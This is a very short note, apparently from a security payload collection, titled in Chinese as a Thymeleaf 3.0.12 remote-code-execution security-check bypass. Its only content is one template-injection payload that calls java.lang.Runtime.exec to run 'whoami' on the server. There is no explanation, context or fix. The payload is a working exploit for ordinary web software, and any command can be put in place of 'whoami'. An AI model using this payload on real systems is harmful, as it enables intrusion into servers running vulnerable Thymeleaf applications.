Thymeleaf 3.0.12 RCE安全检查绕过漏洞

Payload

${T (java.lang.Runtime).getRuntime().exec("whoami")}